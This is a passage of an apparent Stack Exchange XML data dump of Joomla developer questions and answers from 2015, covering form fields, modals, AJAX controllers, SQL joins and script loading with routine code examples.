multiple values" Tags="|joomla-3.4|jform|form-fields-types|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11033" PostTypeId="2" ParentId="11032" CreationDate="2015-08-03T11:14:57.517" Score="1" Body="&lt;p&gt;I haven't looked too much into &lt;code&gt;multiple=&quot;true&quot;&lt;/code&gt; but an alternative could be using a text box and separating each value with a comma, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;allowedfiletypes&quot; &#xA;       type=&quot;text&quot; &#xA;       label=&quot;COM_BESTIA_FIELD_ALLOWEDFILETYPES&quot;&#xA;       description=&quot;COM_BESTIA_FIELD_ALLOWEDFILETYPES_DESC&quot;&#xA;       default=&quot;png,jpg,jpeg,gif,pdf,zip&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could then if you like save the value as 1 json encoded string&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-03T11:14:57.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11034" PostTypeId="2" ParentId="11029" CreationDate="2015-08-03T12:34:20.687" Score="3" Body="&lt;p&gt;With the SQL form field type which you are using this is not possible. However you could &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;develop a custom form field type.&lt;/a&gt;. Consider subclassing the existing JFormFieldList which will help you a lot. You will only have to write the getOptions() method. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.helper');&#xA;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldAttachedto extends JFormFieldList {&#xA;&#xA;    protected $type = 'Attachedto';&#xA;&#xA;    public function getOptions() &#xA;    {&#xA;        // Get component config (JComponentHelper::getParams('com_yourcomponent'));&#xA;        // Make SQL query&#xA;        // Return all options as array&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-03T12:34:20.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11035" PostTypeId="1" AcceptedAnswerId="11041" CreationDate="2015-08-03T13:54:37.690" Score="5" ViewCount="4457" Body="&lt;p&gt;I've got some custom buttons in my Joomla component and I want them to open in a modal window like with the batch button in the com_content component. Anyone has got any idea on how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5508" LastActivityDate="2018-08-29T06:52:09.387" Title="Click on custom button opens modal window" Tags="|joomla-3.x|component|mvc|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11036" PostTypeId="1" AcceptedAnswerId="11042" CreationDate="2015-08-03T14:04:09.503" Score="3" ViewCount="123" Body="&lt;p&gt;I tried this for couple of hours,but i cant find the solution, I'm using the rock candy for short code. And i tried to create listing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[list class=&quot;{class}&quot;][li]{text}[/li][/list]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;{class}&quot;]&amp;lt;li&amp;gt;{text}&amp;lt;/li&amp;gt;[/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's show only one list in output and if the list have more then once its not show and output like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[list class=&quot;bullet-1&quot;][li]listing1[/li][li]listing2[/li][li]listing3[/li][/list]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5389" LastActivityDate="2015-08-04T09:01:23.837" Title="Create a new macro for listing rockcandy" Tags="|extensions|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11038" PostTypeId="2" ParentId="11028" CreationDate="2015-08-03T18:48:03.863" Score="2" Body="&lt;p&gt;How to Implement Ajax in Joomla Component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create Controller File Where you will send ajax request from javascript to PHP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;controller.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Access Deny');&#xA;jimport('joomla.application.component.controller');&#xA;class OpenChatController extends JController&#xA;{&#xA;&#xA;    function saveChatViaAjax()&#xA;    {&#xA;        $app=JFactory::getApplication();&#xA;        $jinput=$app-&amp;gt;input;&#xA;        $res=array();&#xA;        //Implement Your Logic i am giving some sample response&#xA;        $res['status']=true;&#xA;        $res['msg']=$jinput-&amp;gt;get('msg');&#xA;        echo json_encode($res);&#xA;        $app-&amp;gt;close();&#xA;    }&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From View Page You will send Ajax request using Jquery(also you can use native javascript xhr)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(document).ready(function()&#xA;{&#xA;        //Sending Ajax Request to saveChatViaAjax method on Controller OpenChatController&#xA;        var param={};&#xA;        param.option='com_openchat';&#xA;        param.task='saveChatViaAjax';&#xA;        param.msg='Please save this mesage';&#xA;&#xA;        $.post('index.php',param,function(res){&#xA;            console.log(res);&#xA;        });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more info You can download &lt;a href=&quot;https://f10df5600a7c9a74bb22e6b8df498775b8acd045.googledrive.com/host/0Bwk7CPC93wgSVjZUR2c2enNnZ3M/Source%20Codes/Joomla%20OpenChat%20V1.0.0%20Source%20Code/com_openchat-v1.0.0.zip&quot; rel=&quot;nofollow&quot;&gt;https://f10df5600a7c9a74bb22e6b8df498775b8acd045.googledrive.com/host/0Bwk7CPC93wgSVjZUR2c2enNnZ3M/Source%20Codes/Joomla%20OpenChat%20V1.0.0%20Source%20Code/com_openchat-v1.0.0.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can watch whole video series&#xA;&lt;a href=&quot;https://www.youtube.com/playlist?list=PL7kkxuLFYIDOrj395REpd0golrCV7XLcY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/playlist?list=PL7kkxuLFYIDOrj395REpd0golrCV7XLcY&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2162" LastActivityDate="2015-08-03T18:48:03.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11039" PostTypeId="1" CreationDate="2015-08-03T22:52:31.100" Score="0" ViewCount="80" Body="&lt;p&gt;Joomla 3 begins suppporting AJAX, as a non-developer who have very limited knowledge about joomla platform and AJAX, I'm wondering if I can still take advantage of this new feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is simple: I have a sidebar listing recent articles, and the mainbody is displaying the content of an article. I want the mainbody to display another article when I click one of the article link in the sidebar, without reloading the whole page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable with the new AJAX feature? And what if I am using com_k2 as content provider instead of com_content?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2015-09-03T21:15:06.873" Title="How can I benefit from Joomla 3's Ajax support?" Tags="|ajax|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11040" PostTypeId="2" ParentId="11028" CreationDate="2015-08-04T04:33:14.167" Score="3" Body="&lt;p&gt;Your component's name is com_nautilus. With Joomla MVC your controller is looking for a class called &quot;&lt;strong&gt;nautilus&lt;/strong&gt;ViewDatalist&quot; in the file view.raw.php but you named your class &quot;SimilarViewDatalist&quot;. That's were the error 500 comes from.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-04T04:33:14.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11041" PostTypeId="2" ParentId="11035" CreationDate="2015-08-04T08:53:11.053" Score="8" Body="&lt;p&gt;It's actually pretty simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;view.html.php&lt;/strong&gt;, load modal library, if it's not already done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.modal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For adding button to toolbar, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Toolbar object&#xA;$toolbar = JToolBar::getInstance('toolbar');&#xA;$layout = new JLayoutFile('joomla.toolbar.popup');&#xA;&#xA;// Render the popup button&#xA;$dhtml = $layout-&amp;gt;render(array('name' =&amp;gt; 'test', 'text' =&amp;gt; JText::_('Custom button'), 'class' =&amp;gt; 'icon-archive', 'doTask' =&amp;gt; ''));&#xA;$toolbar-&amp;gt;appendButton('Custom', $dhtml);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;name&lt;/code&gt; must match modal &lt;code&gt;id&lt;/code&gt; after &lt;code&gt;-&lt;/code&gt;. You can change &lt;code&gt;class&lt;/code&gt; for different icons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;default.php&lt;/strong&gt; or in any file in &lt;code&gt;tmpl&lt;/code&gt; folder add modal div, what will be shown after clicking on link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal hide fade&quot; id=&quot;modal-test&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; role=&quot;presentation&quot; class=&quot;close&quot; data-dismiss=&quot;modal&quot;&amp;gt;x&amp;lt;/button&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Modal title&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;    Modal content here&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&#xA;    &amp;lt;button class=&quot;btn&quot; type=&quot;button&quot; data-dismiss=&quot;modal&quot;&amp;gt;&#xA;      &amp;lt;?php echo JText::_('JCANCEL'); ?&amp;gt;&#xA;    &amp;lt;/button&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2018-08-29T06:52:09.387" LastActivityDate="2018-08-29T06:52:09.387" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="11042" PostTypeId="2" ParentId="11036" CreationDate="2015-08-04T09:01:23.837" Score="3" Body="&lt;p&gt;Create two macros. Only then you can repeat &lt;code&gt;[li][/li]&lt;/code&gt;, otherwise it won't match with macro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Macro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[list class=&quot;{class}&quot;]{content}[/list]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;{class}&quot;&amp;gt;{content}&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And for &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Macro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[li]{text}[/li]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;{text}&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[list class=&quot;test&quot;][li]test[/li][li]test2[/li][/list]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;test&quot;&amp;gt;&#xA;  &amp;lt;li&amp;gt;test&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;test2&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-08-04T09:01:23.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11043" PostTypeId="1" AcceptedAnswerId="11049" CreationDate="2015-08-04T10:53:18.687" Score="0" ViewCount="353" Body="&lt;p&gt;I have the following two tables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__records:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  name&#xA;1   Child1&#xA;2   Parent1&#xA;3   Parent2&#xA;4   Child2&#xA;5   Parent3&#xA;6   Child3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__parents:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id  child  parent&#xA;1      1         2&#xA;2      1         3&#xA;3      4         5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I successfully get the list of records like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Childname  Parents&#xA;Child1     Parent1, Parent2&#xA;Child2     Parent3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by using the following sql-query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query = 'SELECT&#xA;  b.`child`,&#xA;  a.`name`,&#xA;  GROUP_CONCAT( c.`name` ORDER BY c.`name` SEPARATOR ', ') AS parents&#xA;FROM `#__parents` AS b&#xA;INNER JOIN `#__records` AS a ON a.`id`=b.`child`&#xA;INNER JOIN `#__records` AS c ON c.`id`=b.`parent`&#xA;GROUP BY b.`child`;&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is I get only records that have some parent(s) so I don't get Child3 with ID 6 in my list for it has no any parent relation. Could you alter my query to get ALL the records regardless of they have the parent(s) or not?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-08-04T19:32:34.930" Title="Need altering sql-query with group_concat and two inner joins" Tags="|joomla-3.x|joomla-api|mysql|database|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-05T03:34:17.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="11044" PostTypeId="1" AcceptedAnswerId="11045" CreationDate="2015-08-04T11:10:15.177" Score="2" ViewCount="659" Body="&lt;p&gt;I have a &lt;code&gt;view&lt;/code&gt; called &lt;strong&gt;Vtour&lt;/strong&gt;. Inside &lt;strong&gt;Vtour&lt;/strong&gt; I have these files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;view.html.php&#xA;index.php&#xA;/tmpl/&#xA;/tmpl/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;default.php&lt;/code&gt; is the default &lt;code&gt;view&lt;/code&gt; which loads a form that a user can select elements to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is: create a second view named &lt;code&gt;default2.php&lt;/code&gt; inside &lt;code&gt;tmpl/&lt;/code&gt;  where I will set the correct php headers for downloading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can't find out is how to redirect there:&#xA;&lt;code&gt;action=&quot;com_iproperty&amp;amp;view=vtour&quot;&lt;/code&gt; will always redirect to &lt;code&gt;default.php&lt;/code&gt;&#xA; How can I make it redirect to default2.php?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T08:26:42.097" LastActivityDate="2016-10-05T08:26:42.097" Title="How to redirect to a &quot;part-view&quot; of a view file?" Tags="|joomla-2.5|component|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11045" PostTypeId="2" ParentId="11044" CreationDate="2015-08-04T11:47:07.087" Score="3" Body="&lt;p&gt;Probably you just need to add the &lt;code&gt;layout&lt;/code&gt; &lt;strong&gt;GET&lt;/strong&gt; parameter to the URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can redirect in the controller using &lt;code&gt;setRedirect()&lt;/code&gt; and &lt;code&gt;JRoute&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_iproperty&amp;amp;view=vtour&amp;amp;layout=default2', false), $msg);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5681" LastActivityDate="2015-08-04T11:47:07.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11046" PostTypeId="2" ParentId="11039" CreationDate="2015-08-04T12:18:09.650" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Ajax_(programming)&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;: &lt;strong&gt;Ajax&lt;/strong&gt; is a group of interrelated Web development techniques used on the client-side to create asynchronous Web applications. With Ajax, web applications can send data to and retrieve from a server asynchronously (in the background) without interfering with the display and behavior of the existing page. Data can be retrieved using the XMLHttpRequest object. Despite the name, the use of XML is not required (JSON is often used in the Ajax variant), and the requests do not need to be asynchronous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface/en&quot; rel=&quot;nofollow&quot;&gt;Joomla Ajax Interface&lt;/a&gt; is mainly oriented to developers, creating extensions, who can take advantage of a standardized API.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="168" LastEditDate="2015-08-04T20:43:01.957" LastActivityDate="2015-08-04T20:43:01.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11049" PostTypeId="2" ParentId="11043" CreationDate="2015-08-04T19:32:34.930" Score="2" Body="&lt;pre&gt;&lt;code&gt;SELECT&#xA;    c.`name` AS childName,&#xA;    GROUP_CONCAT(p.`name`) AS parents&#xA;FROM&#xA;    records AS c&#xA;LEFT JOIN parents ON c.id = parents.child&#xA;LEFT JOIN records AS p ON parents.parent = p.id&#xA;GROUP BY&#xA;    c.id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sqlfiddle.com/#!9/3df96/2&quot; rel=&quot;nofollow&quot;&gt;http://sqlfiddle.com/#!9/3df96/2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5682" LastActivityDate="2015-08-04T19:32:34.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11050" PostTypeId="2" ParentId="10007" CreationDate="2015-08-05T01:58:09.717" Score="4" Body="&lt;p&gt;There is no out of the box Joomla API but the team are working on a Web Services part for maybe Joomla 3.6 or soon after. This will then have full oAuth api services. I believe it will be based on the work of redWEB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment you would need to add an add on. Either one of the options other people have mentioned or a coded api talking direct with the DB.&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/779/how-to-build-a-restful-api-with-joomla?rq=1&quot;&gt;How to build a RESTful API with Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would go for jBackend or wait at the moment for the feature later in the year. &#xA;&lt;a href=&quot;http://www.selfget.com/products/jbackend.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.selfget.com/products/jbackend.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-08-05T01:58:09.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11051" PostTypeId="1" AcceptedAnswerId="11053" CreationDate="2015-08-05T03:48:36.727" Score="5" ViewCount="1502" Body="&lt;p&gt;I'm using &lt;code&gt;$doc-&amp;gt;addScript($path.'/js/script.js');&lt;/code&gt; to load a Javascript file inside the head section. Is there any native way to load it in the bottom of the page, before the closing &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag? &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="168" LastEditDate="2015-08-05T07:40:58.573" LastActivityDate="2018-04-17T13:31:05.087" Title="Load javascript script before &lt;/body&gt; closing tag" Tags="|joomla-3.4|javascript|jdocument|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11052" PostTypeId="1" AcceptedAnswerId="11054" CreationDate="2015-08-05T08:23:35.003" Score="3" ViewCount="661" Body="&lt;p&gt;I wrote a simple SQL statement that counts the number of category IDs in a table. Problem is, its returning &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('category_id','COUNT(*)')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__eb_event_categories'))&#xA;      -&amp;gt;group($db-&amp;gt;quoteName('category_id'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList(); &#xA;var_dump($results);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I remove &lt;code&gt;COUNT(*)&lt;/code&gt; the select statement is working normally. What did I write incorrectly?&lt;/p&gt;&#xA;" OwnerUserId="5324" LastEditorUserId="12352" LastEditDate="2019-01-28T08:09:55.390" LastActivityDate="2019-01-28T08:15:49.967" Title="COUNT(*) function not working in SELECT query" Tags="|joomla-2.5|mysql|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11053" PostTypeId="2" ParentId="11051" CreationDate="2015-08-05T08:34:29.207" Score="1" Body="&lt;p&gt;No there isn't. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addScript(string $url, string $type = &quot;text/javascript&quot;, boolean $defer = false, boolean $async = false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use $defer and $async parameters of the addScript method to load JavaScript after the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript($path.'/js/script.js', 'text/javascript', true, false); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use $defer = true if you want to load scripts in order, i.e. if one script is dependant on another.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript($path.'/js/script.js', 'text/javascript', false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use $async = true to load scripts asynchronously and when the order in which they are loaded does  not matter&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-08-05T08:34:29.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11054" PostTypeId="2" ParentId="11052" CreationDate="2015-08-05T09:25:18.580" Score="1" Body="&lt;p&gt;You need to remove &lt;code&gt;quoteName&lt;/code&gt; from your &lt;code&gt;select&lt;/code&gt; clause, so it will then look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select(array('category_id','COUNT(*)'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; on an array will wrap all array values in backticks when the query is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;category_id&lt;/code&gt; is okay to wrap in backticks via &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; because it is a column name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;COUNT(*)&lt;/code&gt; is a MySQL function. It loses its meaning if wrapped in backticks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your original query was seeking a column called &lt;code&gt;COUNT(*)&lt;/code&gt; -- which of course isn't correct (or available).&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2019-01-28T08:15:49.967" LastActivityDate="2019-01-28T08:15:49.967" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="11055" PostTypeId="1" AcceptedAnswerId="11060" CreationDate="2015-08-05T09:43:35.607" Score="2" ViewCount="98" Body="&lt;p&gt;Really this queation is not important it is just for the sake of curiosity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why some many columns in Joomla DB schema and other components use integer with size 11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why size 11, an odd number, instead of 10 for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is something related to performance?&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-08-05T16:28:37.943" Title="Why int(11) on database integer columns?" Tags="|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11056" PostTypeId="1" AcceptedAnswerId="11057" CreationDate="2015-08-05T09:48:03.000" Score="2" ViewCount="417" Body="&lt;p&gt;My website has a score of 50/100 on pagespeed. I am trying to improve it's load speed. When i implement compression either via template (T3 template option)or JCH plugin the website completely looses it's look. It becomes distorted. Is there a way i could implement compression without affecting the website look?&lt;/p&gt;&#xA;" OwnerUserId="5507" LastEditorUserId="11624" LastEditDate="2017-10-19T08:31:20.953" LastActivityDate="2017-10-19T08:31:20.953" Title="CSS/JS compression distorts the website template/look" Tags="|joomla-3.4|javascript|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11057" PostTypeId="2" ParentId="11056" CreationDate="2015-08-05T09:56:26.593" Score="3" Body="&lt;p&gt;Having used JCH a lot, I've found that either using the default settings, or pushing the caching to the maximum potential doesn't always work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing to do is, go to the &lt;strong&gt;Automatic Settings Group&lt;/strong&gt; options, then:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable all options under these settings&lt;/li&gt;&#xA;&lt;li&gt;Enable the options to &lt;strong&gt;minify&lt;/strong&gt; CSS and JS&lt;/li&gt;&#xA;&lt;li&gt;Enable to option to &lt;strong&gt;combine&lt;/strong&gt; CSS and JS&lt;/li&gt;&#xA;&lt;li&gt;Finally, enable the &lt;strong&gt;GZip JavaScript and CSS&lt;/strong&gt; option&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure that after every instruction from the above list, you refresh your page to see if the site is working as normal and that you have no console log errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you notice the website change after an option change, keep it disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, it's one of those plugins that has to be tweaked for each individual site. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-05T09:56:26.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11058" PostTypeId="1" AcceptedAnswerId="11059" CreationDate="2015-08-05T15:44:11.763" Score="0" ViewCount="3216" Body="&lt;p&gt;I have a frontend module with this php file under tmpl folder. It fills with joomla's published categories and shows a checkbox for each one, based on current registered user preferences from a table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;userfavcats&amp;lt;?php echo $moduleclass_sfx ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;row-striped&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($list as $item) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;            &amp;lt;strong class=&quot;row-title&quot;&amp;gt;&#xA;             &amp;lt;?php echo $item-&amp;gt;name; ?&amp;gt;               &#xA;            &amp;lt;/strong&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;            &amp;lt;input 